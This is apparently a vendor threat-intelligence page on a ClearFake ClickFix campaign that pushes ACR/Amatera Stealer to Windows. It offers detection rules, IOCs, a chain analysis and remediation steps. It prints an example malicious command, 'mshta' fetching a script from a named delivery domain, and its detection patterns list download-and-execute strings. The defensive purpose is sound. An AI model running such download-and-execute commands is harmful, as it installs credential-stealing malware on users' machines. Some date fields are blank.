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Threat reportMalwareTL-2026-6206

ClearFake ClickFix Campaign Pushes ACR/Amatera Stealer on Windows Host

mediumACTIVE

Malware-Traffic-Analysis.net (2026-11-13) published a PCAP and HTTPS traffic capture of a ClearFake website-injection campaign using the ClickFix (fake CAPTCHA, paste-into-Run) technique to deliver ACR/Amatera Stealer to a Windows host. The page itself lists no IOCs; indicators in this record come from vendor reporting on the same malware family and delivery chain. First disclosed .

Key facts

IdentifiersTL-2026-6206
Also known asClearFake, ClickFix, ACR Stealer, Amatera Stealer
SeverityMEDIUM
First disclosed
Affected productsMicrosoft Windows (desktop endpoints); WordPress Compromised WordPress and other websites hosting ClearFake injects
MalwareACR Stealer, ClearFake
MITRE ATT&CK techniquesT1005 Data from Local System, T1027.003 Obfuscated Files or Information: Steganography, T1053.005 Scheduled Task/Job: Scheduled Task, T1055.004 Process Injection: Asynchronous Procedure Call, T1059.001 Command and Scripting Interpreter: PowerShell, T1059.003 Command and Scripting Interpreter: Windows Command Shell, T1059.006 Command and Scripting Interpreter: Python, T1070.003 Indicator Removal: Clear Command History, T1071.001 Application Layer Protocol: Web Protocols, T1074.001 Data Staged: Local Data Staging, T1102.001 Web Service: Dead Drop Resolver, T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild and 6 more in the attack flow
MotivationFINANCIAL
Target sectorsgovernment administration, technology, general
Target regionsGlobal
Detection rules9 (1 shown free)
Sources6 cited sources

Detection coverage

As of 2026-11-17, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-6206 across Splunk SPL, Microsoft KQL and Sigma, covering 28 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: ClickFix Run Dialog Paste Executing Remote Script (ClearFake/Amatera) — Exploitation

Behaviour-first detection of the ClickFix fake-CAPTCHA technique: a user pastes a command into Win+R, so mshta, PowerShell, rundll32, cmd or curl is spawned by explorer.exe with a URL, WebDAV path or encoded payload. Matches the ClearFake chain that ends in ACR/Amatera Stealer (for example mshta http://timelevel12.com/big) and flags known delivery domains. The attack is user-driven and exploits no CVE.

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ParentImage="*\\explorer.exe" (Image="*\\mshta.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\rundll32.exe" OR Image="*\\cmd.exe" OR Image="*\\curl.exe" OR Image="*\\wscript.exe" OR Image="*\\cscript.exe") (CommandLine="*http*" OR CommandLine="*@SSL*" OR CommandLine="*DavWWWRoot*" OR CommandLine="*iex*" OR CommandLine="*-enc*" OR CommandLine="*DownloadString*" OR CommandLine="*FromBase64String*")
| eval ioc_hit=if(match(CommandLine,"(?i)timelevel12\.com|deep-harborio\.com|leaguejazire\.com|cbrw\.ru"),1,0)
| stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as command_lines values(Image) as child_images by host User ParentImage ioc_hit
| sort -ioc_hit -count

Microsoft KQL

let ClickFixIoc = dynamic(["timelevel12.com","deep-harborio.com","leaguejazire.com","cbrw.ru"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("mshta.exe","powershell.exe","pwsh.exe","rundll32.exe","cmd.exe","curl.exe","wscript.exe","cscript.exe")
| where ProcessCommandLine has_any ("http","@SSL","DavWWWRoot","iex","-enc","EncodedCommand","DownloadString","FromBase64String")
| extend IocHit = ProcessCommandLine has_any (ClickFixIoc)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, IocHit, SHA256
| order by IocHit desc, Timestamp desc

Sigma

title: ClickFix Run Dialog Paste Launching Script Host With Remote Content
id: 3f6b0c1e-5a2d-4e8b-9c11-7d4a2b6e1f01
status: experimental
description: Detects explorer.exe (Win+R Run dialog) launching mshta, PowerShell, rundll32, cmd or curl with a remote URL, WebDAV path or encoded payload, the ClearFake ClickFix pattern such as mshta http://timelevel12.com/big.
references:
    - https://www.malware-traffic-analysis.net/2026/11/13/index.html
    - https://threatlabs.netskope.com/blog/2026/08/etherhiding-in-the-browser-clickfix-chain-ends-in-amatera
author: Threadlinqs Team
date: 2026-11-17
tags:
    - attack.execution
    - attack.t1204.004
    - attack.t1059.001
    - attack.t1059.003
    - attack.defense-evasion
    - attack.t1218.005
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\explorer.exe'
    selection_child:
        Image|endswith:
            - '\mshta.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\rundll32.exe'
            - '\cmd.exe'
            - '\curl.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    selection_cli:
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - '@SSL'
            - 'DavWWWRoot'
            - 'DownloadString'
            - 'FromBase64String'
            - ' -enc '
            - ' -EncodedCommand '
            - 'iex '
    condition: all of selection_*
falsepositives:
    - Administrators launching scripts from the Run dialog with a URL
    - Software deployment shortcuts that call PowerShell with a download URL
level: high

Known false positives:

  • Administrators or helpdesk staff pasting download commands into the Run dialog
  • Legitimate installers launched from Run with an https URL

Tuning notes: Allow-list internal software distribution hosts in the command-line filter. Raise priority when ioc_hit=1. Pair with a RunMRU registry hunt (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU) and enforce the Run-dialog GPO for users who do not need it.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Rundll32 Executing DLL From WebDAV Share — ClickFix WebDAV Chain — Exploitation · unlock with TL Creds
  • Hidden Scheduled Task And Python Loader Persistence — Post-Exploitation · unlock with TL Creds
  • Script Host Contacting Blockchain RPC Or telegra.ph Dead Drop — C2 · unlock with TL Creds
  • MSBuild Project Execution From Script Host — ClearFake csproj Loader — Exploitation · unlock with TL Creds
  • OpenWith.exe Network Activity — Early Bird APC Injection Host — Post-Exploitation · unlock with TL Creds
  • Browser Credential Store Staged By Non-Browser Process — Amatera Collection/Exfil Staging · unlock with TL Creds
  • PowerShell AMSI Patch, ETW Tampering And Logging Disable — Amatera Stage 2 — Post-Exploitation · unlock with TL Creds
  • ClearFake And Amatera Stealer C2 Infrastructure Contact — C2 · unlock with TL Creds

Indicators of compromise

As of 2026-11-17, Threadlinqs Intelligence tracks 28 indicators of compromise for TL-2026-6206.

Sample indicators (3 of 28)

  • IP address: 145.249.109[.]147
  • Domain: leaguejazire[.]com
  • URL: hxxps://telegra[.]ph/Functions-04-03

Defanged, TLP:CLEAR. Full set of 28 indicators: unlock with TL Creds.

28 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

ClearFake is a malicious JavaScript injection framework planted on compromised websites. Since 2025 it has used EtherHiding, retrieving follow-on script from smart contracts on BNB Smart Chain (and, in related 2026 activity, Base) so the operator can rotate payloads by writing new on-chain values. The injected script overlays a fake, localized CAPTCHA that instructs the visitor to press Win+R, paste a clipboard command and press Enter (ClickFix). This is user-driven execution and does not exploit a software vulnerability.

The 2026-11-13 Malware-Traffic-Analysis.net post (title spells it ClearFake, file names spell it 'CleaFake') documents this chain ending in ACR/Amatera Stealer on a Windows host, with a 39.4 MB PCAP, a 2.3 MB HTTPS-traffic archive and two screenshots. The page text contains no IOC list, hashes, CVEs or attribution; the zip files are password-protected and their contents were not reviewed. Analysts should treat the detailed behavior below as characteristic of the family from other vendors, not as confirmed for this exact sample.

Amatera Stealer is a rebrand of ACR Stealer (sold as malware-as-a-service; Proofpoint reported the rebrand in June 2025 and observed ClearFake ClickFix delivering it in April-May 2025). Proofpoint's documented chain: ClickFix PowerShell downloads a .csproj executed with msbuild.exe, a second-stage script disables PowerShell logging, patches AMSI and ETW, then Early Bird injection into a suspended OpenWith.exe runs shellcode that loads Amatera. Amatera uses NTSockets (talking to \Device\Afd\Endpoint instead of Winsock), WoW64 direct syscalls, direct-IP connections to Cloudflare with a hard-coded Host header, and Base64/XOR-decoded JSON config from the C2. It steals browser data, crypto wallets, password-manager and wallet extensions, email/SSH/FTP configs and messenger data, and can download and run secondary payloads.

Later 2026 reporting shows variants of the delivery. Microsoft Defender Experts (blog dated 2026-07-16, activity late April to mid-June 2026) described a WebDAV chain (rundll32 loading a DLL from a WebDAV share, a hidden scheduled task, a Python loader, fiber-based shellcode, M365/OneDrive/SharePoint document and token theft) and an MSHTA fileless chain (HTA, PowerShell, steganographic JPEG payload). Cisco Talos (2026-09-08) tracked a ClearFake/EtherHiding/WebDAV chain as UAT-10820 delivering Amatera, ZigCryptoStealer, NetSupport Manager and a Go reverse proxy, including BYOVD EDR termination. Netskope (2026-08-25) described a WordPress mass-compromise chain with a Service Worker, Base-chain EtherHiding, an MP3/HTA polyglot and the Emmenhtal loader ending in Amatera. Defender priorities: block Run-dialog paste execution patterns, hunt RunMRU entries, WebDAV rundll32 usage, mshta/msbuild launched by PowerShell, and revoke sessions/tokens for affected users.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System; T1074.001 Data Staged: Local Data Staging

Defense Evasion

T1027.003 Obfuscated Files or Information: Steganography; T1055.004 Process Injection: Asynchronous Procedure Call; T1070.003 Indicator Removal: Clear Command History; T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild; T1218.005 System Binary Proxy Execution: Mshta; T1218.011 System Binary Proxy Execution: Rundll32; T1620 Reflective Code Loading

Persistence

T1053.005 Scheduled Task/Job: Scheduled Task

Execution

T1059.001 Command and Scripting Interpreter: PowerShell; T1059.003 Command and Scripting Interpreter: Windows Command Shell; T1059.006 Command and Scripting Interpreter: Python; T1204.004 User Execution: Malicious Copy and Paste

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1102.001 Web Service: Dead Drop Resolver

Credential Access

T1555.003 Credentials from Password Stores: Credentials from Web Browsers

defense-impairment

T1685 Disable or Modify Tools

Remediation

Immediate actions

  • Block the C2, WebDAV and staging domains and IPs listed in the IOCs at DNS, proxy and perimeter
  • Isolate affected Windows hosts and reset browser-saved credentials; revoke sessions and M365/SaaS tokens for users on affected endpoints
  • Hunt for ClickFix artifacts: RunMRU entries containing mshta, powershell, rundll32 or WebDAV paths; hidden scheduled tasks created by PowerShell
  • Remove malicious scheduled tasks and, for WordPress-delivered variants, unregister rogue browser Service Workers and clear their caches

Workarounds

  • Disable the Windows Run dialog via Group Policy for users who do not need it
  • Enforce Attack Surface Reduction rules for obfuscated scripts and untrusted script launches

Longer-term hardening

  • Train users that CAPTCHA pages never require pasting commands into Win+R
  • Deploy EDR with behavioral detection for msbuild/mshta/rundll32 abuse, AMSI/ETW tampering and Chromium credential-store access
  • Restrict outbound WebDAV (WebClient service) and block mshta.exe where not needed
  • Audit WordPress sites for injected scripts and unexpected must-use plugins

Affected and fixed versions

  • Microsoft — Windows (desktop endpoints)
    Vulnerable versions: Windows hosts where users can paste commands into the Run dialog; no specific version evidenced
  • WordPress — Compromised WordPress and other websites hosting ClearFake injects
    Vulnerable versions: Compromised sites; no specific version evidenced

Timeline

  • July 2024: the ACR Stealer Telegram channel announced suspension of sales; Proofpoint later linked the successor Amatera Stealer to ACR (day not stated in source).
  • A transaction zeroed out the ClearFake smart contract payload on BNB Smart Chain, during the April-May 2025 ClearFake ClickFix campaigns delivering Amatera observed by Proofpoint.
  • Proofpoint published 'Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication', documenting the ClearFake ClickFix to Amatera chain.
  • April 2026: Cisco Talos first observed the WebDAV DLL execution chain in a Ukrainian government organization's telemetry (day not stated in source). Microsoft Defender Experts saw rising ACR Stealer activity from late April to mid-June 2026.
  • Microsoft published 'ACR Stealer: Two observed intrusion chains amid increased threat activity' covering WebDAV and MSHTA ClickFix chains.
  • Netskope Threat Labs reported a WordPress mass-compromise ClickFix chain using Service Workers and Base-chain EtherHiding ending in Amatera.
  • Cisco Talos published 'ClearFake WebDAV infection chain', tracking the activity as UAT-10820.
  • Malware-Traffic-Analysis.net published a PCAP, HTTPS traffic archive and notes of a ClearFake ClickFix infection pushing ACR/Amatera Stealer on a Windows host.

Sources cited

Previous and next in malware

Drafted by the Threadlinqs research pipeline from 6 sources; published ; last updated —.

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